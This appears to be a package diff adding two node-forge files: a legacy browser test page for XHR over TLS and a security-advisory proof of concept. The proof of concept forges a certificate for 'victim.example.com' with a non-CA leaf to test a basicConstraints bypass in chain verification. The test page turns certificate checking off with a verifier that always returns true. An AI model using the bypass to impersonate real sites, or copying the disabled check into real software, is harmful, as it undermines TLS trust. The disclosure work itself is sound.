pi-codex-auto-review 0.1.0

package/node_modules/node-forge/tests/legacy/xhr.js

@@ -0,0 +1,590 @@
+/**
+ * Forge XmlHttpRequest Test
+ *
+ * @author Dave Longley
+ * @author David I. Lehn <dlehn@digitalbazaar.com>
+ *
+ * Copyright (c) 2009-2010 Digital Bazaar, Inc. All rights reserved.
+ */
+(function($)
+{
+   // load flash socket pool
+   window.forge.socketPool = {};
+   window.forge.socketPool.ready = function()
+   {
+      // init forge xhr
+      forge.xhr.init({
+         flashId: 'socketPool',
+         policyPort: 19945,
+         msie: $.browser.msie,
+         connections: 10,
+         caCerts: [],
+         verify: function(c, verified, depth, certs)
+         {
+            // don't care about cert verification for test
+            return true;
+         }
+      });
+   };
+   swfobject.embedSWF(
+      '/forge/SocketPool.swf', 'socketPool', '0', '0', '9.0.0',
+      false, {}, {allowscriptaccess: 'always'}, {});
+})(jQuery);
+
+jQuery(function($)
+{
+   var cat = 'forge.tests.xhr';
+
+   var tests = [];
+   var passed = 0;
+   var failed = 0;
+
+   var init = function() {
+      passed = failed = 0;
+      $('.ready,.testing,.pass,.fail')
+         .removeClass('ready testing pass fail');
+      $('#status')
+         .text('Ready.')
+         .addClass('ready');
+      $('#total').text(tests.length);
+      $('#pass').text(passed);
+      $('#fail').text(failed);
+      $('.expect').empty();
+      $('.result').empty();
+      $('.time').empty();
+      $('.timePer').empty();
+      $('#start').removeAttr('disabled');
+   };
+
+   var start = function()
+   {
+      $('#start').attr('disabled', 'disabled');
+      // meta! use tasks to run the task tests
+      forge_task.start({
+         type: 'test',
+         run: function(task) {
+            task.next('starting', function(task) {
+               forge.log.debug(cat, 'start');
+               $('#status')
+                  .text('Testing...')
+                  .addClass('testing')
+                  .removeClass('idle');
+            });
+            $.each(tests, function(i, test) {
+               task.next('test', function(task) {
+                  var title = $('li:first', test.container);
+                  if($('#scroll:checked').length === 1)
+                  {
+                     $('html,body').animate({scrollTop: title.offset().top});
+                  }
+                  title.addClass('testing');
+                  test.run(task, test);
+               });
+               task.next('test', function(task) {
+                  $('li:first', test.container).removeClass('testing');
+               });
+            });
+            task.next('success', function(task) {
+               forge.log.debug(cat, 'done');
+               if(failed === 0) {
+                  $('#status')
+                     .text('PASS')
+                     .addClass('pass')
+                     .removeClass('testing');
+               } else {
+                  // FIXME: should just be hitting failure() below
+                  $('#status')
+                     .text('FAIL')
+                     .addClass('fail')
+                     .removeClass('testing');
+               }
+            });
+         },
+         failure: function() {
+            $('#status')
+               .text('FAIL')
+               .addClass('fail')
+               .removeClass('testing');
+         }
+      });
+   };
+
+   $('#start').click(function() {
+      start();
+   });
+
+   $('#reset').click(function() {
+      init();
+   });
+
+   var stressStats =
+   {
+      sent: 0,
+      success: 0,
+      error: 0
+   };
+   var stressStatsMessage = function()
+   {
+      return 'received:' + (stressStats.success + stressStats.error) + '/' +
+         stressStats.sent + ' errors:' + stressStats.error;
+   };
+
+   $('#stress').click(function() {
+      for(var i = 1; i <= 100; ++i)
+      {
+         (function(seqnum)
+         {
+            setTimeout(function()
+            {
+               $.ajax(
+               {
+                  type: 'GET',
+                  url: '/result.txt?seq=' + seqnum,
+                  beforeSend: function(xhr)
+                  {
+                     ++stressStats.sent;
+                     xhr.setRequestHeader('Connection', 'close');
+                  },
+                  success: function(data, textStatus, xhr)
+                  {
+                     ++stressStats.success;
+                     forge.log.debug(cat, 'xhr connection completed' +
+                        ' seq:' + seqnum +
+                        ' datalen:' + data.length + ' ' +
+                        stressStatsMessage());
+                  },
+                  error: function(xhr, textStatus, errorThrown)
+                  {
+                     ++stressStats.error;
+                     forge.log.error(cat, 'xhr connection failed' +
+                        ' seq:' + seqnum + ' ' +
+                        stressStatsMessage(), arguments);
+                  },
+                  xhr: forge.xhr.create
+               });
+            }, 0);
+         })(i);
+      }
+      return false;
+   });
+
+   /**
+    * Creates a simple XMLHttpRequest wrapper. For testing.
+    */
+   var createWrapper = function()
+   {
+      var UNSENT = 0;
+      var OPENED = 1;
+      var HEADERS_RECEIVED = 2;
+      var LOADING = 3;
+      var DONE = 4;
+
+      var toWrap = new XMLHttpRequest();
+
+      // create xhr wrapper object
+      var xhr =
+      {
+         // FIXME: an EventListener
+         onreadystatechange: null,
+         // FIXME: readonly
+         readyState: UNSENT,
+         // FIXME: a string
+         responseText: null,
+         // FIXME: a document
+         responseXML: null,
+         // FIXME: readonly, returns the HTTP status code
+         status: 0,
+         // FIXME: readonly, returns the HTTP status message
+         statusText: null,
+
+         // FIXME: async, user, and password are optional
+         open: function(method, url, async, user, password)
+         {
+            toWrap.open(method, url, async, user, password);
+         },
+
+         setRequestHeader: function(header, value)
+         {
+            toWrap.setRequestHeader(header, value);
+         },
+
+         // FIXME: data can be a string or a document
+         send: function(data)
+         {
+            toWrap.send(data);
+         },
+
+         abort: function()
+         {
+            toWrap.abort();
+            toWrap.onreadystatechange = null;
+            toWrap = null;
+         },
+
+         // FIXME: return all response headers as a string
+         getAllResponseHeaders: function()
+         {
+            return toWrap.getAllResponseHeaders();
+         },
+
+         // FIXME: return header field value
+         getResponseHeader: function(header)
+         {
+            return toWrap.getResponseHeader(header);
+         }
+      };
+
+      toWrap.onreadystatechange = function()
+      {
+         // copy attributes
+         xhr.readyState = toWrap.readyState;
+         xhr.responseText = toWrap.responseText;
+         xhr.responseXML = toWrap.responseXML;
+
+         if(toWrap.readyState == HEADERS_RECEIVED)
+         {
+            xhr.status = toWrap.status;
+            xhr.statusText = toWrap.statusText;
+         }
+
+         if(xhr.onreadystatechange)
+         {
+            //forge.log.debug(cat, 'wrapper orsc', toWrap);
+            xhr.onreadystatechange();
+         }
+      };
+
+      return xhr;
+   };
+
+   var addTest = function(name, run)
+   {
+      var container = $('<ul><li>Test ' + name + '</li><ul/></ul>');
+      var expect = $('<li>Expect: <span class="expect"/></li>');
+      var result = $('<li>Result: <span class="result"/></li>');
+      var time = $('<li>Time: <span class="time"/></li>');
+      var timePer = $('<li>Time Per Iteration: <span class="timePer"/></li>');
+      $('ul', container)
+         .append(expect)
+         .append(result)
+         .append(time)
+         .append(timePer);
+      $('#tests').append(container);
+      var test = {
+         container: container,
+         startTime: null,
+         run: function(task, test) {
+            test.startTime = new Date();
+            run(task, test);
+         },
+         expect: $('span', expect),
+         result: $('span', result),
+         check: function() {
+            var e = test.expect.text();
+            var r = test.result.text();
+            (e == r) ? test.pass() : test.fail();
+         },
+         pass: function(iterations) {
+            var dt = new Date() - test.startTime;
+            if(!iterations)
+            {
+               iterations = 1;
+            }
+            var dti = (dt / iterations);
+            passed += 1;
+            $('#pass').text(passed);
+            $('li:first', container).addClass('pass');
+            $('span.time', container).html(dt + 'ms');
+            $('span.timePer', container).html(dti + 'ms');
+         },
+         fail: function(iterations) {
+            var dt = new Date() - test.startTime;
+            if(!iterations)
+            {
+               iterations = 1;
+            }
+            var dti = (dt / iterations);
+            failed += 1;
+            $('#fail').text(failed);
+            $('li:first', container).addClass('fail');
+            $('span.time', container).html(dt + 'ms');
+            $('span.timePer', container).html(dti + 'ms');
+         }
+      };
+      tests.push(test);
+   };
+
+   addTest('builtin xhr', function(task, test)
+   {
+      task.block();
+
+      $.ajax(
+      {
+         type: 'GET',
+         url: '/result.txt',
+         success: function(data)
+         {
+            test.expect.html('expected result');
+            test.result.html(data);
+            task.unblock();
+         },
+         error: function()
+         {
+            task.fail();
+         }
+      });
+
+      task.next(function(task)
+      {
+         test.pass();
+      });
+   });
+
+   addTest('builtin xhr (10 serial)', function(task, test)
+   {
+      var N = 10;
+      for(var i = 0; i < N; i++)
+      {
+         task.next(function(task)
+         {
+            task.parent.block();
+
+            $.ajax(
+            {
+               type: 'GET',
+               url: '/result.txt',
+               success: function(data, textStatus)
+               {
+                  test.result.append('.');
+                  task.parent.unblock();
+               },
+               error: function(xhr, textStatus, errorThrown)
+               {
+                  task.fail(N);
+               }
+            });
+         });
+      }
+
+      task.next(function(task)
+      {
+         test.pass(N);
+      });
+   });
+
+   addTest('builtin xhr (10 parallel)', function(task, test)
+   {
+      var N = 10;
+      task.block(N);
+      for(var i = 0; i < N; i++)
+      {
+         $.ajax(
+         {
+            type: 'GET',
+            url: '/result.txt',
+            success: function(data, textStatus)
+            {
+               test.result.append('.');
+               task.unblock();
+            },
+            error: function(xhr, textStatus, errorThrown)
+            {
+               task.fail(N);
+            }
+         });
+      }
+
+      task.next(function(task)
+      {
+         test.pass(N);
+      });
+   });
+
+   // test only works with non-IE
+   if(!$.browser.msie)
+   {
+      addTest('generic wrapper xhr', function(task, test)
+      {
+         task.block();
+
+         $.ajax(
+         {
+            type: 'GET',
+            url: '/result.txt',
+            success: function(data)
+            {
+               test.expect.html('expected result');
+               test.result.html(data);
+               task.unblock();
+            },
+            error: function()
+            {
+               task.fail();
+            },
+            xhr: createWrapper
+         });
+
+         task.next(function(task)
+         {
+            test.pass();
+         });
+      });
+
+      addTest('generic wrapper xhr (10 serial)', function(task, test)
+      {
+         var N = 10;
+         for(var i = 0; i < N; i++)
+         {
+            task.next(function(task)
+            {
+               task.parent.block();
+
+               $.ajax(
+               {
+                  type: 'GET',
+                  url: '/result.txt',
+                  success: function(data, textStatus)
+                  {
+                     test.result.append('.');
+                     task.parent.unblock();
+                  },
+                  error: function(xhr, textStatus, errorThrown)
+                  {
+                     task.fail(N);
+                  },
+                  xhr: createWrapper
+               });
+            });
+         }
+
+         task.next(function(task)
+         {
+            test.pass(N);
+         });
+      });
+
+      addTest('generic wrapper xhr (10 parallel)', function(task, test)
+      {
+         var N = 10;
+         task.block(N);
+         for(var i = 0; i < N; i++)
+         {
+            $.ajax(
+            {
+               type: 'GET',
+               url: '/result.txt',
+               success: function(data, textStatus)
+               {
+                  test.result.append('.');
+                  task.unblock();
+               },
+               error: function(xhr, textStatus, errorThrown)
+               {
+                  task.fail(N);
+               },
+               xhr: createWrapper
+            });
+         }
+
+         task.next(function(task)
+         {
+            test.pass(N);
+         });
+      });
+   }
+
+   for(var i = 0; i < 3; i++) {
+   addTest('TLS xhr ' + i, function(task, test)
+   {
+      task.block();
+
+      $.ajax(
+      {
+         type: 'GET',
+         url: '/result.txt',
+         success: function(data, textStatus, xhr)
+         {
+            test.expect.html('expected result');
+            test.result.html(data);
+            task.unblock();
+         },
+         error: function(xhr, textStatus, errorThrown)
+         {
+            task.fail();
+         },
+         xhr: forge.xhr.create
+      });
+
+      task.next(function(task)
+      {
+         test.pass();
+      });
+   });
+   }
+
+   addTest('TLS xhr (10 serial)', function(task, test)
+   {
+      var N = 10;
+      for(var i = 0; i < N; i++)
+      {
+         task.next(function(task)
+         {
+            task.parent.block();
+
+            $.ajax(
+            {
+               type: 'GET',
+               url: '/result.txt',
+               success: function(data, textStatus, xhr)
+               {
+                  test.result.append('.');
+                  task.parent.unblock();
+               },
+               error: function(xhr, textStatus, errorThrown)
+               {
+                  task.fail(N);
+               },
+               xhr: forge.xhr.create
+            });
+         });
+      }
+
+      task.next(function(task)
+      {
+         test.pass(N);
+      });
+   });
+
+   addTest('TLS xhr (10 parallel) ' +
+      '(hit "Reset" then "Start" to speed up - uses SSL session cache)',
+      function(task, test)
+   {
+      var N = 10;
+      task.block(N);
+      for(var i = 0; i < N; i++)
+      {
+         $.ajax(
+         {
+            type: 'GET',
+            url: '/result.txt',
+            success: function(data, textStatus, xhr)
+            {
+               test.result.append('.');
+               task.unblock();
+            },
+            error: function(xhr, textStatus, errorThrown)
+            {
+               task.fail(N);
+            },
+            xhr: forge.xhr.create
+         });
+      }
+
+      task.next(function(task)
+      {
+         test.pass(N);
+      });
+   });
+
+   init();
+});

package/node_modules/node-forge/tests/pocs/ghsa-2328-f5f3-gj25.js

@@ -0,0 +1,85 @@
+// Security Advisory PoC
+//
+// https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25
+//
+// Doruk Tan Ozturk (@peaktwilight) - doruk.ch
+
+const forge = require('../..');
+const pki = forge.pki;
+
+function generateKeyPair() {
+  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
+}
+
+console.log('=== node-forge basicConstraints Bypass PoC ===\n');
+
+// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
+const rootKeys = generateKeyPair();
+const rootCert = pki.createCertificate();
+rootCert.publicKey = rootKeys.publicKey;
+rootCert.serialNumber = '01';
+rootCert.validity.notBefore = new Date();
+rootCert.validity.notAfter = new Date();
+rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);
+
+const rootAttrs = [
+  { name: 'commonName', value: 'Legitimate Root CA' },
+  { name: 'organizationName', value: 'PoC Security Test' }
+];
+rootCert.setSubject(rootAttrs);
+rootCert.setIssuer(rootAttrs);
+rootCert.setExtensions([
+  { name: 'basicConstraints', cA: true, critical: true },
+  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
+]);
+rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());
+
+// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
+//    This certificate should NOT be allowed to sign other certificates
+const leafKeys = generateKeyPair();
+const leafCert = pki.createCertificate();
+leafCert.publicKey = leafKeys.publicKey;
+leafCert.serialNumber = '02';
+leafCert.validity.notBefore = new Date();
+leafCert.validity.notAfter = new Date();
+leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);
+
+const leafAttrs = [
+  { name: 'commonName', value: 'Non-CA Leaf Certificate' },
+  { name: 'organizationName', value: 'PoC Security Test' }
+];
+leafCert.setSubject(leafAttrs);
+leafCert.setIssuer(rootAttrs);
+// NO basicConstraints extension — NO keyUsage extension
+leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());
+
+// 3. Create a "victim" certificate signed by the leaf
+//    This simulates an attacker using a non-CA cert to forge certificates
+const victimKeys = generateKeyPair();
+const victimCert = pki.createCertificate();
+victimCert.publicKey = victimKeys.publicKey;
+victimCert.serialNumber = '03';
+victimCert.validity.notBefore = new Date();
+victimCert.validity.notAfter = new Date();
+victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);
+
+const victimAttrs = [
+  { name: 'commonName', value: 'victim.example.com' },
+  { name: 'organizationName', value: 'Victim Corp' }
+];
+victimCert.setSubject(victimAttrs);
+victimCert.setIssuer(leafAttrs);
+victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());
+
+// 4. Verify the chain: root -> leaf -> victim
+const caStore = pki.createCaStore([rootCert]);
+
+try {
+  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
+  //const result = pki.verifyCertificateChain(caStore, [leafCert, victimCert]);
+  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
+  console.log('  node-forge accepted a non-CA certificate as an intermediate CA!');
+  console.log('  This violates RFC 5280 Section 6.1.4.');
+} catch (e) {
+  console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
+}